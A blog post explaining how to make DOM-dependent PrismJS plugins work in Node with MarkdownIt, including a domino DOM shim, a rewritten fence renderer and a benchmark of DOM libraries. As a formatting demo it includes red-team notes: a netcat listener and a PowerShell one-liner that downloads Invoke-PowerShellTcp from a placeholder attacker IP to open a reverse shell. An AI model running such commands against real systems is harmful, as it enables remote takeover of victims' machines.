How to Use PrismJS Plugins with NodeJS and MarkdownIt

Improve your storytelling with these dead simple hacks for rendering fancy Prism plugins in Node!


With over 7 million weekly downloads on NPM, PrismJS is one of the most widely used code highlighting packages in JavaScript, lauded for its unparalleled extensibility through plugins. But one recurring issue plagues developers: most plugins require a DOM! Fancy plugins such as command-line, line-numbers, and the toolbar-suite require a DOM to manipulate HTML. This isn't normally possible in runtime environments such as Node, which aren't designed to render UIs, hence, no DOM.

In this post, I’ll demonstrate a few simple changes to easily coerce these plugins into compatibility with NodeJS and MarkdownIt, a popular markdown renderer.1

Why enhance codeblocks?

Simple codeblocks suffice for most writers who need supporting text with pretty colours. But maybe you want your codeblocks to simply look flashier. Or maybe you want better tools to tell a story!

To tell a good story, the characters, plot, and location need to be clear to the audience. Similarly, blog posts and tutorials benefit from enhancements such as command-line demarcations, line numbers, labels, and inline markup.

There are many cases where such codeblocks are warranted:

  • Interaction: input and output should be contrasted, think: shell or Jupyter notebook (command-line)
  • A post compares or demonstrates a technique in multiple languages (show-language)
  • Code is executed in multiple, distinct environments (command-line, label)
  • A post refers to a code snippet within a large file (line-numbers)
  • A post refers to multiple files (label)
Example: Catching Reverse Shells (Labels and Command-Line)

This is really useful when presenting narratives for red teaming scenarios, where multiple machines are involved. Here are some simple notes on catching a reverse shell from a Windows machine.

  1. Get our IP.

    ifconfig
    Attacker
    Shell
  2. Listen for incoming connections on port 4444.

    nc -nlvp 4444
    Attacker
    Shell
  3. Download and execute Invoke-PowerShellTcp on the victim.

    powershell -nop -c "iex (New-Object Net.WebClient).DownloadString('http://{ATTACKER_IP}/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress {ATTACKER_IP} -Port 4444" 
    Victim
    PowerShell

It's clear that our character shifts from Scene 1 to Scene 2, with less sentence clutter.

Another problem I notice on many documentation pages is the use of $, denoting the start of a new command on a shell. These are poor for a couple reasons: it doesn't accurately present the actual code (from both the writer's and readers' PoV) and may disrupt syntax highlighters.

Example: The Obstructive $ (Command-Line)

These are commonly seen in installation scripts or guides. Here's an example installing a Makefile-based project:

$ tar -xvzf who_doesnt_like_to_copy_lines_of_code_one_by_one.tar.gz
$ cd who_doesnt_like_to_copy_lines_of_code_one_by_one
$ ./configure
$ make -j4
$ make install
Shell

Atrocious! You can't copy multiple lines without the nasty $ getting in the way! What terrible UX. It's like when your parent or sibling stands in front of the television!2

Compare it to this:

tar -xvzf who_doesnt_like_to_copy_lines_of_code_one_by_one.tar.gz
cd who_doesnt_like_to_copy_lines_of_code_one_by_one
./configure
make -j4
make install
Shell

With that small rant out of the way, let's begin!

Step 1: Expose a DOM API

To make Node seem like a browser, we want to introduce document and window globals. These are the two keys variables used by Prism to manipulate HTML. window isn't really called; it's mostly for UI behaviour. document, however, is used rather heavily.

This could have adverse effects on libraries which use unified code for both browser and runtime environments. Introducing document and window might have unintended spillover effects... In most cases though, this shouldn't break anything.

The easiest solution is to glue a DOM manipulation library such as JSDOM or domino, and create global window/document variables. I’ve chosen to use domino since it renders codeblocks much faster than JSDOM, with zero additional dependencies.

npm install domino
Shell
const domino = require('domino');
global.window = domino.createWindow('');
global.getComputedStyle = global.window.getComputedStyle;
global.document = global.window.document;
JavaScript

NodeJS's global object enables us to add global variables. Now Prism can access our window and document globals.

For convenience later, we’ll also create a function which converts HTML strings to DOM objects. We'll use the template element to achieve this.3

function textToDOM(text) {
  const templ = document.createElement('template');
  templ.innerHTML = text;
  return templ.content;
}
JavaScript

Step 2: Override MarkdownIt Fence Rendering

While MarkdownIt works great out-of-the-box, the default rendering rules for code blocks are inherently incompatible with most Prism plugins. MarkdownIt's renderer passes text as input to an arbitrary highlight function, but Prism’s full-featured highlighting expects a DOM Element node. They don't speak the same language!

Prism has two primary highlight functions: Prism.highlight and Prism.highlightElement. Most server-side libraries are happy to use the former. But a lot of hooks aren't called by .highlight, so we'll also have to customise the renderer to call .highlightElement.

We'll reference MarkdownIt's default fence rule and customise it accordingly. (The full implementation can be found in this site's repository.)

This will override the rule completely without reusing previous implementations. If you use another plugin which modifies and reuses the fence rule (e.g. markdown-it-prism), consider performing this overwrite first before calling the other plugin.

  1. Remove the default text-based highlighting options.highlight. We still escape the HTML since we'll substitute it in an HTML string.
  2. Handle diff-* languages by loading the right language.
  3. Wrap the escaped code in <div><pre><code> with the right attributes, convert it to a DOM element, highlight it to Prism.highlightElement, then return the rendered HTML.
  4. We also moved the attributes to <pre> instead of <code>, which is required for PrismJS to function properly.

The most important part is step 3, where we call Prism magic with .highlightElement.

 markdownit.renderer.rules.fence = function (tokens, idx, options, _env, slf) {
   ...
+  const result = `<div><pre${preAttrs}><code class="${codeClasses}">${escaped}</code></pre></div>`
+  const el = textToDOM(result)
+  Prism.highlightElement(el.firstChild.firstChild.firstChild)
+  return el.firstChild.firstChild.outerHTML
   ...
 }
JavaScript
See Full Changes
 markdownit.renderer.rules.fence = function (tokens, idx, options, _env, slf) {
   const token = tokens[idx];
   const info = token.info ? unescapeAll(token.info).trim() : '';
   ...

-  let highlighted
-  if (options.highlight) {
-    highlighted = options.highlight(token.content, langName, langAttrs) || escapeHtml(token.content)
-  } else {
-    highlighted = escapeHtml(token.content)
-  }
+  const escaped = escapeHtml(token.content) // 1

-  if (highlighted.indexOf('<pre') === 0) {
-    return highlighted + '\n'
-  }

   // If language exists, inject class gently, without modifying original token.
   // May be, one day we will add .deepClone() for token and simplify this part, but
   // now we prefer to keep things local.
   if (info) {
     const i = token.attrIndex('class')
     const tmpAttrs = token.attrs ? token.attrs.slice() : []
     
     if (i < 0) {
       tmpAttrs.push(['class', options.langPrefix + langName])
     } else {
       tmpAttrs[i] = tmpAttrs[i].slice()
       tmpAttrs[i][1] += ' ' + options.langPrefix + langName
     }
       
     // Fake token just to render attributes
     const tmpToken = {
       attrs: tmpAttrs
     }

+    // Make sure language is loaded. // 2
+    if (langName.startsWith('diff-')) {
+      const diffRemovedRawName = langName.substring('diff-'.length)
+      if (!Prism.languages[diffRemovedRawName])
+        PrismLoad([diffRemovedRawName])
+    } else {
+      if (!Prism.languages[langName])
+        PrismLoad([langName])
+    }
    
     // 3, 4
+    // Some plugins such as toolbar venture into codeElement.parentElement.parentElement,
+    // so we'll wrap the `pre` in an additional `div` for class purposes.
+    const preAttrs = slf.renderAttrs(tmpToken)
+    const codeClasses = options.langPrefix + langName
+    const result = `<div><pre${preAttrs}><code class="${codeClasses}">${escaped}</code></pre></div>`
+    const el = textToDOM(result)
+    Prism.highlightElement(el.firstChild.firstChild.firstChild)
+    return el.firstChild.firstChild.outerHTML
-    return `<pre><code${slf.renderAttrs(tmpToken)}>${highlighted}</code></pre>\n`
   }

   // 4
+  return `<pre${slf.renderAttrs(token)}><code>${escaped}</code></pre>\n`
-  return `<pre><code${slf.renderAttrs(token)}>${highlighted}</code></pre>\n`
 }
JavaScript

If you're using an SSR framework or SSG, you'll need to first access the MarkdownIt object.

In 11ty, for instance, we can access it like so:

eleventyConfig.amendLibrary('md', mdLib => {
  mdLib.renderer.rules.fence = function (...) { ... }
});
eleventy.config.js
JavaScript

Step 3: Use markdown-it-attrs

To add attributes to your codeblocks, introduce markdown-it-attrs to your MarkdownIt object.

You can now add attributes and classes to your codeblocks which will then be parsed by Prism.

For instance, this:

```js {data-label=hello.js .inspect-me-lol}
function hello() {
  console.log("Hello world!");
}
```

becomes:

function hello() {
  console.log("Hello world!");
}
hello.js
JavaScript

In 11ty, markdown-it-attrs is incompatible with eleventy-plugin-syntaxhighlight due to the way codeblocks are parsed.

Step 4: (Optional) Modify Plugins

With those two changes, we have all we need to start importing fancy plugins!

In case you wish to fine-tune some plugins, you can always copy them into your local project and modify them directly! Some changes I made were:

  • modding line-numbers for compatibility with command-line and diff (Yes, this doesn't really make sense to present, but who knows if I'll need it in the future?)
  • modding show-language to display the base language when the highlight language is diff-*.

You can also add custom attributes with some simple CSS! For instance, I added a CSS class which hides the command-line prompt when a data-rw-prompt attribute is specified.4 This may be useful for long prompts, which may cover the entire screen's width when scrolling on a phone.

@media (max-width: 576px) {
    /* rw-prompt: response width prompt */
    pre[data-rw-prompt] .command-line-prompt {
        display: none;
    }
}
CSS

And here it is in action on some notes. Try viewing on both mobile and computer.

Get-DomainTrust -domain dollarcorp.moneycorp.local

SourceName      : dollarcorp.moneycorp.local
TargetName      : moneycorp.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 11/12/2022 5:59:01 AM
WhenChanged     : 9/25/2024 10:12:06 PM
PowerShell

Benchmarking DOM Libraries

Understandably, one major bottleneck in our strategy is DOM manipulation. A suitable library needs to parse HTML fragments, manipulate DOM elements, and create new ones.

Although I originally selected JSDOM in my quick-n-dirty hack for its popularity, I later switched to domino for significant (2x!) speedup. This is based on a simple benchmark, which compares the three most popular(?) NodeJS DOM-manipulation libraries: JSDOM, domino, and LinkeDOM.

Benchmark of time to render the ~400 codeblocks on this site with JSDOM, domino, and LinkeDOM.

Benchmark of time to render the ~400 codeblocks on this site with JSDOM, domino, and LinkeDOM.

LibraryMean (ms)Min. (ms)Max. (ms)
JSDOM5834921007
domino265227477
LinkeDOM280214666
Benchmark Details and CLI Output

The benchmark was run on a MacBook Air with a 1.6 GHz Intel Core i5 processor and 8 GB 2133 MHz LPDDR3 RAM. Benchmark code can be found here.

node eleventy/benchmarks/codeblocks
Running: JSDOM
[auto] Target 199 runs (~604ms/run) in 120s.
 --- [JSDOM] ---
 - 199 runs
 - mean: µ=582.964ms / σ=70.796ms
 - minmax: 491.888ms / 1007.477ms

Running: domino
[auto] Target 454 runs (~264ms/run) in 120s.
 --- [domino] ---
 - 454 runs
 - mean: µ=265.399ms / σ=42.418ms
 - minmax: 226.817ms / 476.795ms

Running: LinkeDOM
[auto] Target 444 runs (~270ms/run) in 120s.
 --- [LinkeDOM] ---
 - 444 runs
 - mean: µ=279.861ms / σ=69.691ms
 - minmax: 214.418ms / 666.151ms
Shell

Moreover, domino has 0 dependencies — it's basically written from the ground up! JSDOM has 21 dependencies. A reduced set of dependencies reduces the attack surface of an application; and with increasing reports of supply chain attacks, it's good to limit such risks.

Final Remarks

I'll be the first to admit — this is a rather crude hack with some loose ends.5 But it works! Not to mention, it looks nice with enough CSS! And to some that's all that matters.


Footnotes
  1. One workaround is to use regex to modify HTML — but let’s face it, I sleep more soundly knowing the current implementation is mature and battle-tested. By introducing a DOM API to Node, you're placing trust in a library to be spec-compliant. By handwriting regex, you're placing trust in your code to work. Which would you rather have? ↩︎

  2. To be fair, there's an argument to be made for "not running these commands all at once". Failure isn't handled. But this largely exists in relatively low-level build commands for C/C++, which are renowned for their many toolchains (read: potential build errors). ↩︎

  3. Unlike JSDOM, domino doesn't have a "create fragment from HTML" function, so template is the suggested workaround. ↩︎

  4. Here, rw stands for responsive width. ↩︎

  5. It would be better to pass codeblock attributes directly to Prism without the extra stringification and parsing. Guess I'll leave this as an exercise for the front-end engineers. ↩︎


Share on



Comments are back! Privacy-focused, without ads, bloatware, and trackers. Be one of the first to contribute to the discussion — I'd love to hear your thoughts.